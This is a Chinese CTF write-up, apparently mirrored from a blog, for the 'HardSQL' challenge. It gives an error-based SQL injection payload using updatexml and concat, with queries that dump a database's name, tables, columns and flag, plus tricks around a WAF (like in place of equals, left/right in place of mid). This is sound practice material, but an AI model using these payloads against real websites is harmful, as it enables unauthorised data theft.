zoukankan      html  css  js  c++  java
  • 刷题[极客大挑战 2019]HardSQL

    解题思路

    打开是一个登陆框,考点sql注入了,先正常尝试一波

    发现居然是get类型

    输入and发现有waf过滤,那fuzz一波看看过滤了什么

    fuzz

    union被过滤,并且绕过union的几种方法同样被过滤

    报错注入

    有报错,尝试下是否报错注入

    payload:1'and (updatexml(1,concat(0x7e,(payload),0x7e),1));

    爆数据库:select database()
    爆表名:select table_name from information_schema.tables where table_schema='数据库名'
    爆列名:select column_name from information_schema.columns where table_name='表名'
    爆字段:select flag from 数据库.表名

    因为这里等于号被过滤,所以用like替换等于号

    爆出数据库名geek

    爆出表名H4rDsq1

    爆出列名id,username,password

    爆出部分password,即flag值

    需要注意的是:
    xpath报错只显示32位结果,需要借助mid函数来进行字符截取从而显示32位以后的数据。
    mid((select group_concat(flag) from flag),32)

    但很不幸的是,这里mid函数被禁了。但是用left,right拼接,思路一样

    总结思路

    常规的报错注入,根据payload打就行了,唯一注意的是xpath报错只显示32位结果,需要借助其他函数截取显示

    知识点

    • sql注入
    • 报错注入
  • 相关阅读:
    gcc开启C99或C11标准支持
    数组作为参数的四种声明方式
    [BZOJ 2654]tree(陈立杰)
    [HNOI 2014]道路堵塞
    [ZJOI 2006]书架
    [NOI 2010]超级钢琴
    汇编语言语法
    [洛谷P1714]切蛋糕
    [洛谷P1440]求m区间内的最小值
    [NOIP2016 TG D2T3]愤怒的小鸟
  • 原文地址:https://www.cnblogs.com/karsa/p/13431337.html
Copyright © 2011-2022 走看看